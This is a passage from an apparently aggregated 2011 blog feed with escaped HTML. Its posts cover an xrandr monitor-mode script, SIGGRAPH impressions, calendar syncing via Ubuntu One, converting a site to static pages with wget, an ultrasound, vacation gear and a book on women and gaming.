# Fixes the mode on AOC 2216Vw Monitor. Only tested fedora 15x86_64
#

MODEATTEMPT=&quot;1680 1050 60&quot;
if [ ! -z &quot;$1&quot; ]; then
    MODEATTEMPT=&quot;$1&quot;
fi

OUTPUT=VGA1
if [ ! -z &quot;$2&quot; ]; then
    OUTPUT=&quot;$2&quot;
fi

GETMODE=`gtf ${MODEATTEMPT} | grep 'Modeline' | sed 's/^  Modeline //'`

MODE=`echo ${GETMODE} | sed 's/^&quot;\(.*\)&quot;.*/\1/'`

xrandr --newmode ${GETMODE}
xrandr --addmode ${OUTPUT} \&quot;&quot;${MODE}&quot;\&quot;
xrandr --output ${OUTPUT} --mode \&quot;&quot;${MODE}&quot;\&quot;

exit 0
&lt;/pre&gt;
&lt;p&gt;Actually on the script above, you can pass a desired modeline and the output you want to change, and this will work for more than just an AOC monitor. I love &lt;a href=&quot;http://en.wikipedia.org/wiki/Bash&quot;&gt;bash&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I guess I should figure out how to add this modeline to Xorg. How can that be done?&lt;/p&gt;
&lt;pre&gt;
# 1680x1080 @ 60.00 Hz (GTF) hsync: 67.08 kHz; pclk: 151.33 MHz
  Modeline &quot;1680x1080_60.00&quot;  151.33  1680 1784 1968 2256  1080 1081 1084 1118  -HSync +Vsync
&lt;/pre&gt;</content:encoded>
	<dc:date>2011-08-19T04:34:25+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-4127718075783675212">
	<title>Gail Carmichael: Impressions of SIGGRAPH 2011</title>
	<link>http://compscigail.blogspot.com/2011/08/impressions-of-siggraph-2011.html</link>
	<content:encoded>Last week I was in Vancouver for this year's SIGGRAPH conference - not presenting, but as a lab trip.&amp;nbsp; As the &lt;a href=&quot;http://www.siggraph.org/s2011/about-siggraph&quot;&gt;website says&lt;/a&gt;, the &quot;conference and exhibition is a five-day interdisciplinary  educational experience including a three-day commercial exhibition that  attracts hundreds of exhibitors from around the world. SIGGRAPH is  widely recognized as the most prestigious forum for the publication of  computer graphics research.&quot;&amp;nbsp; These are some of general impressions of my first SIGGRAPH experience.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-OGVHK8uo-2c/TknZsW4Eg8I/AAAAAAAADRM/vufy3ZwYJj4/s1600/20110709-DSC00147.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;282&quot; src=&quot;http://1.bp.blogspot.com/-OGVHK8uo-2c/TknZsW4Eg8I/AAAAAAAADRM/vufy3ZwYJj4/s400/20110709-DSC00147.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;Fellow lab member &lt;a href=&quot;http://gigl.scs.carleton.ca/users/jamie-madill&quot;&gt;Jamie&lt;/a&gt; and I outside the convention center.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Location.&lt;/b&gt; Being able to stay in Canada was nice for us (especially since we could use our cell phones and data plans).&amp;nbsp; Getting from the airport to downtown was a matter of taking one train for just half an hour - very convenient!&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-BGa7BDiP65E/TkncyC4ecEI/AAAAAAAADRQ/Mq6_jQ3ukic/s1600/20110709-DSC00148.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;115&quot; src=&quot;http://4.bp.blogspot.com/-BGa7BDiP65E/TkncyC4ecEI/AAAAAAAADRQ/Mq6_jQ3ukic/s400/20110709-DSC00148.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The convention center was split into two buildings - east and west - but it was no&lt;br /&gt;problem getting between them for what I wanted to do.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Venue&lt;/b&gt;. I thought the convention center was amazing.&amp;nbsp; The rooms were well equipped, the decor was appropriate, there were plenty of washrooms and water fountains, and the views of the water were wonderful. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Exhibition&lt;/b&gt;.&amp;nbsp; I wasn't a huge fan of the exhibition as I personally found it overwhelming and overly commercial; however, for those that like seeing all the newest products and services, and don't mind the scale, it was probably quite good.&amp;nbsp; It was obvious that much money was spent on the booths there.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;SCVNGR&lt;/b&gt;. The Google booth at the exhibition advertised&amp;nbsp; a &lt;a href=&quot;http://www.scvngr.com/&quot;&gt;SCVNGR&lt;/a&gt; opportunity to get some Google swag.&amp;nbsp; I figured it might include actually looking more carefully at some of the other booths there, but that definitely wasn't the case.&amp;nbsp; In the end I found it to be unclear (I could only win one prize even though there were two rewards listed in the app for SIGGRAPH), and mostly disconnected from the actual location (some of the challenges were just math puzzles).&amp;nbsp; It didn't enhance my experience at all.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Animation Festival&lt;/b&gt;.&amp;nbsp; One day when I was too tired to take in any more talks, I spent the afternoon watching animated shorts.&amp;nbsp; I enjoyed this way more than I anticipated! The quality was spectacular and there was much variety in the animation styles and the stories.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Courses&lt;/b&gt;.&amp;nbsp; I took in a couple of courses throughout the week.&amp;nbsp; I was a little surprised by how little they resembled actual courses.&amp;nbsp; Instead, they were pretty much a series of lectures on a particular topic.&amp;nbsp; Huge audiences, no interaction, and not much practicality (though this may have just been what the ones I attended were like).&amp;nbsp; I still learned a few things, but feel like I could have learned a lot more if the format was closer to a workshop.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Technical paper presentations&lt;/b&gt;.&amp;nbsp; I actually didn't end up seeing a huge number of paper talks since I figured I could read papers later more easily.&amp;nbsp; The presentations I did see were like most that occur at conferences: not very good.&amp;nbsp; The expected standard of talks involve text on PowerPoint slides and presenters who forget that oral communication is a very different thing from written communication.&amp;nbsp; There was one great presentation that I saw, but I will save writing about that for when I do another post about the game papers.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Emerging Technologies&lt;/b&gt;.&amp;nbsp; This was one of my favorite parts of the conference.&amp;nbsp; There were so many interesting or just plain fun exhibits.&amp;nbsp; I particularly enjoyed the pregnancy simulator vest that gave the wearer an idea of what a kicking baby and a growing belly and breasts would feel like.&amp;nbsp; Being that I'm almost five months pregnant myself, I wish my husband could have tried this out. ;)&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-_S8H6ufxppY/TknfD7yPzMI/AAAAAAAADRY/OpB4M-k00CY/s1600/20110710-DSC00204.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://1.bp.blogspot.com/-_S8H6ufxppY/TknfD7yPzMI/AAAAAAAADRY/OpB4M-k00CY/s320/20110710-DSC00204.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;While the pregnancy simulator suit grows, you see information on the screen that&lt;br /&gt;explains baby's current status each week of the pregnancy.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Art Gallery&lt;/b&gt;. This was with the Emerging Technologies.&amp;nbsp; Some of it was pretty neat, but some of it I didn't really &quot;get.&quot;&amp;nbsp; Art can be like that.&amp;nbsp; I was most taken by the remote wind exhibit.&amp;nbsp; The idea was interesting and the result was relaxing to watch.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-m4I6NH9sK5s/TknfxijaQrI/AAAAAAAADRc/Y-BlQ_L7G2I/s1600/20110710-DSC00192.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/-m4I6NH9sK5s/TknfxijaQrI/AAAAAAAADRc/Y-BlQ_L7G2I/s320/20110710-DSC00192.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;These wispy grass-like metal structures moved according to how the wind blows in some remote location.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Overall, I liked SIGGRAPH.&amp;nbsp; I was regretting going at first because we had to leave for our big east coast vacation only 30 hours after I got home from Vancouver, but I'm glad I got to experience it.&amp;nbsp; Whether I end up back again to present one day or not, it was well worth experiencing this conference at least once.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-4127718075783675212?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-08-16T15:43:23+00:00</dc:date>
</item>
<item rdf:about="http://gould.cx/ted/blog/Calendar_to_Phone">
	<title>Ted Gould: Calendar to Phone</title>
	<link>http://gould.cx/ted/blog/Calendar_to_Phone</link>
	<content:encoded>&lt;p&gt;
I've got an Android phone and I really wanted to get the calendars syncing with my desktop (&lt;a href=&quot;http://ubuntu.com/&quot;&gt;Ubuntu&lt;/a&gt;).  I tried the Android recommended Google Calendar, and it didn't really work for a variety of reasons.  Off to try a new solution.
&lt;/p&gt;
&lt;p&gt;
What I ended up doing is using &lt;a href=&quot;http://one.ubuntu.com&quot;&gt;Ubuntu One&lt;/a&gt; (U1) to sync the iCal files that &lt;a href=&quot;http://projects.gnome.org/evolution/index.shtml&quot;&gt;Evolution&lt;/a&gt; Data Server (EDS) uses as its backend to the cloud.  And then I published those files using U1's publish feature.  Then I brought those back into my phone using &lt;a href=&quot;http://icssync.com&quot;&gt;ICSSync&lt;/a&gt;.  Let's go through that step by step so you can get it set up too.
&lt;/p&gt;
&lt;p&gt;
To get your EDS calendars are in your home directory under &lt;tt&gt;~/.local/share/evolution/calendar&lt;/tt&gt; so to get U1 to start syncing them to the cloud you need to execute this command &lt;tt&gt;u1sdtool --create-folder=/.local/share/evolution/calendar&lt;/tt&gt;.  U1 should start sync'ing that folder, and it should show up on the U1 website &lt;a href=&quot;https://one.ubuntu.com/files/#f=u%2F~%2F.local%2Fshare%2Fevolution%2Fcalendar&quot;&gt;here&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
You should there have a variety of folders that are your individual calendars.  If you can then publish the &lt;tt&gt;calendar.ics&lt;/tt&gt; file that is in each of these folders by clicking on the &quot;More&quot; button the right.  You can enter the URL of the published file into ICSSync's &quot;Add feed&quot; dialog.
&lt;/p&gt;
&lt;p&gt;
There are some downsides to this approach, specifically the answer to the U1 question &quot;&lt;a href=&quot;https://one.ubuntu.com/help/faq/are-published-files-private/&quot;&gt;Are published files private?&lt;/a&gt;&quot;  But it is working well for me.  Hope it works for you too!
&lt;/p&gt;
&lt;p&gt;
Comments: &lt;a href=&quot;http://identi.ca/notice/80893416&quot;&gt;Identi.ca&lt;/a&gt; | &lt;a href=&quot;http://twitter.com/#!/tedjgould/status/103167434831302656&quot;&gt;Twitter&lt;/a&gt;
&lt;/p&gt;</content:encoded>
	<dc:date>2011-08-15T19:14:00+00:00</dc:date>
</item>
<item rdf:about="http://rejon.org/?p=2481">
	<title>Jon Phillips: Being a Beijing Being</title>
	<link>http://rejon.org/2011/08/being-a-beijing-being/</link>
	<content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/wangxiaowu/6044576207/&quot; title=&quot;Untitled by Helena Wang 王巫, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6088/6044576207_3f3e5823fb.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I&amp;#8217;m back in &lt;a href=&quot;http://rejon.org/tag/beijing&quot;&gt;Beijing&lt;/a&gt;! And, I&amp;#8217;m doing a lot of the above plotting about next Fabricatorz steps, working hard, and moving many projects forward.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/wangxiaowu/6031915725/&quot; title=&quot;Untitled by Helena Wang 王巫, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6196/6031915725_92f621b5d9.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Lots of &lt;a href=&quot;http://firefox.com.cn&quot;&gt;meetings&lt;/a&gt; to be had, and many &lt;a href=&quot;http://matthope.org/&quot;&gt;best&lt;/a&gt; &lt;a href=&quot;http://qi-hardware.com/&quot;&gt;friends&lt;/a&gt; here to work with.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/wangxiaowu/6031915547/&quot; title=&quot;Untitled by Helena Wang 王巫, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6202/6031915547_b70451a37e.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;An aside, I spent the weekend updating project documentation since February 2009. Update &lt;a href=&quot;http://rejon.org/bio&quot;&gt;bio&lt;/a&gt;, &lt;a href=&quot;http://rejon.org/bio/cv&quot;&gt;full cv&lt;/a&gt;, and a &lt;a href=&quot;http://rejon.org/bio/resume&quot;&gt;monospaced resume&lt;/a&gt; are available for consumption.&lt;/p&gt;</content:encoded>
	<dc:date>2011-08-15T16:04:37+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8964583752416945383.post-1533760712924539243">
	<title>Niko Kiirala: Drawing for Assembly 2011</title>
	<link>http://fedev.blogspot.com/2011/08/drawing-for-assembly-2011.html</link>
	<content:encoded>I created this image on Inkscape for the Fast Graphics competition at &lt;a href=&quot;http://www.assembly.org&quot;&gt;Assembly&lt;/a&gt; 2011. The theme for this year was &lt;i&gt;Last minute&lt;/i&gt; and there was one and half hours time to make the image, from when the theme was published to submission deadline. Sadly, this didn't make it past jury and thus wasn't show on big screen.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-46NBBliK9JQ/Tj1J1p3mpGI/AAAAAAAAANY/xRukDlPiXp8/s1600/viimeminuutti.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;225&quot; width=&quot;400&quot; src=&quot;http://4.bp.blogspot.com/-46NBBliK9JQ/Tj1J1p3mpGI/AAAAAAAAANY/xRukDlPiXp8/s400/viimeminuutti.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Not the best of my drawings, I admit. In 2009 I did manage to get my drawing on big screen. That time the theme was &quot;Over the edge&quot; or something like that and time limit again 1½ hours. Here's the result, drawn in Inkscape.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-exwhp9ImaU0/Tj1LJzkXc9I/AAAAAAAAANg/mai5kvVRx9k/s1600/sharp_edges_nosig.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;225&quot; width=&quot;400&quot; src=&quot;http://2.bp.blogspot.com/-exwhp9ImaU0/Tj1LJzkXc9I/AAAAAAAAANg/mai5kvVRx9k/s400/sharp_edges_nosig.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The SVG source files are available at &lt;a href=&quot;https://github.com/kiirala/filters_tutorial/tree/master/drawings&quot;&gt;my GitHub reposistory&lt;/a&gt;.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8964583752416945383-1533760712924539243?l=fedev.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-08-06T17:15:55+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-4148422735008067082">
	<title>Gail Carmichael: Our First Ultrasound (Technology is Awesome!)</title>
	<link>http://compscigail.blogspot.com/2011/08/our-first-ultrasound-technology-is.html</link>
	<content:encoded>I got my first ultrasound on Wednesday.&amp;nbsp; Baby was 20 weeks old.&amp;nbsp; I think the grandparents-to-be were more excited about the baby itself; we just might have been more enthralled with the technology that allowed us to see it.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-JYtCIdjk1os/TjwB8uzSaAI/AAAAAAAADRE/If1s2JA6XJ0/s1600/Ultrasound1.jpeg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;290&quot; src=&quot;http://4.bp.blogspot.com/-JYtCIdjk1os/TjwB8uzSaAI/AAAAAAAADRE/If1s2JA6XJ0/s400/Ultrasound1.jpeg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Still images don't really do these machines justice.&amp;nbsp; They look a lot less clear than the moving images shown on the screen in real time.&amp;nbsp; It was fun to watch a very active little baby do everything from yawn, kick and punch, and put its hand on its forehead.&lt;br /&gt;&lt;br /&gt;It was almost just as fun to watch the technician do her thing; it was amazing how proficient she was at switching views, making measurements, and replaying the cute things baby did right after they happened (we watched the yawn a few times before moving on, for example).&lt;br /&gt;&lt;br /&gt;I have to wonder exactly what has changed in the last few decades to make the technology so much more impressive.&amp;nbsp; Is it a case of better engineering, and signals the machines send and receive are simply more accurate? Or is there some computer science going on to correct the images as they are formed?&lt;br /&gt;&lt;br /&gt;Either way, it's thanks to this super awesome technology that we now have our very first picture of baby giving us the finger.&amp;nbsp; Granted, this one's not all that high quality, but the zoomed in arm and hand make a memory we'll love having for years to come.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-PS71hFcbfVc/TjwDS4BQRRI/AAAAAAAADRI/tpFi5kwWZB0/s1600/Ultrasound2.jpeg.jpeg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;241&quot; src=&quot;http://1.bp.blogspot.com/-PS71hFcbfVc/TjwDS4BQRRI/AAAAAAAADRI/tpFi5kwWZB0/s400/Ultrasound2.jpeg.jpeg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-4148422735008067082?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-08-05T10:54:34+00:00</dc:date>
</item>
<item rdf:about="http://rejon.org/?p=2464">
	<title>Jon Phillips: Make Static: Archiving, Accelerating and Securing Websites, or Converting Dynamic Sites to Static Pages</title>
	<link>http://rejon.org/2011/07/make-static-archiving-accelerating-and-securing-websites-or-converting-dynamic-sites-to-static-pages/</link>
	<content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/5977708010/&quot; title=&quot;Weezy DiVX Melting First Rejon Fan Art @liltunechi by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6122/5977708010_52c47a79f3.jpg&quot; width=&quot;500&quot; height=&quot;282&quot; alt=&quot;Weezy DiVX Melting First Rejon Fan Art @liltunechi, we'll call it weezy compression&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;small&gt;[ Ok, don't compress images that much...you get the point, right? ]&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;Its silly to keep a content management system running if its not being used and there instances where clients want a purely statically generated website for SEO and to calm security-paranoid nerves. I started thinking about this more and have been reading a few links. It brought me back to the days of using the old BLD software that Brian McKeever wrote and I ported to work on Linux. I then started journeying down the path of picking static file generator softwares, but honestly its silly IMO to learn yet another markup language, when &lt;a href=&quot;http://fabricatorz.com/&quot;&gt;Fabricatorz&lt;/a&gt; are promoting our platform &lt;a href=&quot;http://aikiframework.org/&quot;&gt;Aiki Framework&lt;/a&gt;. In fact, with running a simple &lt;a href=&quot;http://en.wikipedia.org/wiki/Wget&quot;&gt;wget&lt;/a&gt; command, one could build an entire site in a dynamic content management system or framework, and then simply use wget to generate static files to be served.&lt;/p&gt;
&lt;p&gt;There are some considerations though before you do this such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;turning off login/registration systems&lt;/li&gt;
&lt;li&gt;turn off commenting systems&lt;/li&gt;
&lt;li&gt;making sure that you are not locking yourself out of your house, so to speak, with a robots.txt blocking bots, and the ethical software, wget, which has respect for robots.txt built into it by default.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, after you fix these up on your dynamic site, this example is the best for converting a site I&amp;#8217;ve found:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;wget -r -p -k -E -nH -P /srv/www/dev.cantocore.com/public/test cantocore.com&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Here it is laid out:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;wget -r -p -k -E -nH -P LOCAL_PATH_TO_SAVE_TO SITE_TO_CONVERT&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;This makes a fully static copy of the &lt;a href=&quot;http://cantocore.com/&quot;&gt;cantocore.com&lt;/a&gt; site to dev.cantocore.com!&lt;/p&gt;
&lt;p&gt;Then, I had to make this addition to .htaccess to make sure that some urls were good for SEO blah:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
RewriteEngine On&lt;br /&gt;
RewriteRule ^(.*)\.1\.html$ $1
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;That should do you pretty good! Let me know if there are any comments on this!&lt;/p&gt;
&lt;p&gt;I learned this from &lt;a href=&quot;http://mossiso.com/2007/09/10/converting-wordpress-to-static-html.html&quot;&gt;mossiso&lt;/a&gt;, &lt;a href=&quot;http://stackoverflow.com/questions/645465/convert-wordpress-theme-to-plain-xhtmlcss&quot;&gt;stackoverflow question&lt;/a&gt;, &lt;a href=&quot;http://blog.mattwynne.net/2008/04/11/saving-your-wordpress-blog-to-cd/&quot;&gt;Matt Wynne&lt;/a&gt;, and &lt;a href=&quot;http://www.idlewords.com/2009/09/using_wordpress_to_generate_flat_files.htm&quot;&gt;idlewords.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The improvements I see that could be made include the htaccess rules and possibly even a way to compress the pages even further with html tidy or some whitespace stripping commands. What programs from the commandline could be useful to further make this a nice option for both archiving and serving fast static pages?&lt;/p&gt;</content:encoded>
	<dc:date>2011-07-30T09:42:58+00:00</dc:date>
</item>
<item rdf:about="http://rejon.org/?p=2462">
	<title>Jon Phillips: I changed my Chinese name to 王力中.</title>
	<link>http://rejon.org/2011/07/i-changed-my-chinese-name-to-%e7%8e%8b%e5%8a%9b%e4%b8%ad/</link>
	<content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/5942122270/&quot; title=&quot;the fabritop I also call it slowtop running fedora15 for fun right now @fabricatorz by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6123/5942122270_d40d185446.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;the fabritop I also call it slowtop running fedora15 for fun right now @fabricatorz&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I just made sense. Put a &lt;a href=&quot;http://fabricatorz.com/&quot;&gt;Z&lt;/a&gt; on that!&lt;/p&gt;</content:encoded>
	<dc:date>2011-07-29T09:50:02+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-735734413128461891">
	<title>Gail Carmichael: A Techie's Vacation</title>
	<link>http://compscigail.blogspot.com/2011/07/techies-vacation.html</link>
	<content:encoded>My husband and I are taking a 3+ week vacation to the east coast of Canada this August, and because we're both computer geeks, there's no doubt we'll be lugging a bunch of techie stuff with us.&amp;nbsp; How much is too much?&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href=&quot;http://www.flickr.com/photos/angietorres/5831274093/&quot; title=&quot;iPhone 4 capture by angietorres, on Flickr&quot;&gt;&lt;img alt=&quot;iPhone 4 capture&quot; height=&quot;333&quot; src=&quot;http://farm6.static.flickr.com/5275/5831274093_3eec386d75.jpg&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;a href=&quot;http://www.flickr.com/photos/angietorres/5831274093/&quot;&gt;iPhone 4 capture&lt;/a&gt; by&lt;a href=&quot;http://www.flickr.com/photos/angietorres/&quot;&gt; angietorres&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;First there's the cell phones.&amp;nbsp; We'll bring both, even though mine's the only smart phone.&amp;nbsp; His can act as an emergency backup or it can be used to call each other if needed.&amp;nbsp; Sadly, while we are in Newfoundland, neither will work because they have an incompatible network there.&lt;br /&gt;&lt;br /&gt;But not to worry - we will bring at least one of our laptops, and can use the call-a-phone feature in GMail if we need to.&amp;nbsp; Should we bring both laptops? I'm thinking we should because I'll be using mine to process and upload photos (I'll want a mouse for that!) as well as check up on school / professional happenings.&amp;nbsp; I'm sure he'll appreciate the ability to check his own email and browse Reddit after a long day of sightseeing while I do that.&lt;br /&gt;&lt;br /&gt;Then there's the camera gear.&amp;nbsp; We have a Nikon D90 that we just love, and four lenses to go with it.&amp;nbsp; Add to that the charger,  extra battery, remote, memory cards, battery grip, flashes, and tripod and this stuff might just need its own suitcase! Plus, I just got a new underwater point-and-shoot camera for activities that aren't so DSLR friendly (particularly backpack hiking/camping).&lt;br /&gt;&lt;br /&gt;But we can't stop there.&amp;nbsp; No no, I also have on my list my Nintendo DS for lazy day anywhere gaming opportunities, and an FM transmitter for the iPhone (stupid car stereo that doesn't have even an auxiliary jack...argh!).&amp;nbsp; Oh yes, and a car GPS since my data plan is useless in Newfoundland and possibly other more remote areas and an orienteering GPS for the backpacking excursion.&lt;br /&gt;&lt;br /&gt;You know how some people use their vacation as a way to get away from technology? Yeah, I guess that's not us. Just don't tip off any would-be thieves about the whereabouts of our car, if you don't mind.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-735734413128461891?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-07-27T17:36:15+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-3757277621311557504">
	<title>Gail Carmichael: Women and Going Beyond the Game</title>
	<link>http://compscigail.blogspot.com/2011/07/women-and-going-beyond-game.html</link>
	<content:encoded>While it seems to me that many more women are playing traditionally &quot;male&quot; video games these days, there is also a group of women who go beyond the game in ways that, according to &lt;a href=&quot;http://www.jamespaulgee.com/&quot;&gt;James Paul Gee&lt;/a&gt; and Elizabeth Hayes, are important to 21st century learning.&amp;nbsp; An in depth look at this phenomenon and what we can learn from it is described in &lt;a href=&quot;http://www.amazon.com/Women-Gaming-Sims-Century-Learning/dp/0230623417&quot;&gt;Women and Gaming: The Sims and 21st Century Learning&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-UoZ3wa_lM6I/TirxP91XTnI/AAAAAAAADQs/Z6jsQyxPR0I/s1600/womengames&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://3.bp.blogspot.com/-UoZ3wa_lM6I/TirxP91XTnI/AAAAAAAADQs/Z6jsQyxPR0I/s320/womengames&quot; width=&quot;210&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Although not Gee's strongest work in my opinion (I'm not familiar with Hayes), this book does provoke some interesting thought on the state of education today.&amp;nbsp; I must admit, I rather enjoy reading about what's wrong with how education is done today and potential ways to improve it.&amp;nbsp; Here are some of the problems with &quot;too many schools&quot; as quoted directly from the summary chapter:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Too many of our schools:&lt;br /&gt;&lt;ul&gt;&lt;li&gt; focus on information and facts in an age when these are all cheaply available on the Internet&lt;/li&gt;&lt;li&gt;focus on standardized skills in an age where people with only standardized will be competing against lower-cost competition in China and India&lt;/li&gt;&lt;li&gt;focus on what students know in an age where skills, information, and technologies quickly go out of date&lt;/li&gt;&lt;li&gt;focus on preparing students for jobs in an age where most jobs are service jobs and do not pay well or bring people much status&lt;/li&gt;&lt;li&gt;focus on individual achievement in an age where almost all real problems, and most high-tech workplaces, demand skills in team work and collaboration&lt;/li&gt;&lt;li&gt;underutilize technology and are, indeed, frightened by it as authorities ban Internet sites, mobile devices, and games in an age where almost all deep learning recruits technology&lt;/li&gt;&lt;li&gt;treat students as consumers, and often passive ones at that, in an age when young people produce, design, modify, and make choices in their popular culture&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;The women discussed in the book are said to go beyond the game.&amp;nbsp; They start out as players, but then find a passion that leads them to become producers and mentors.&lt;br /&gt;&lt;br /&gt;For example, one case study described a shut-in 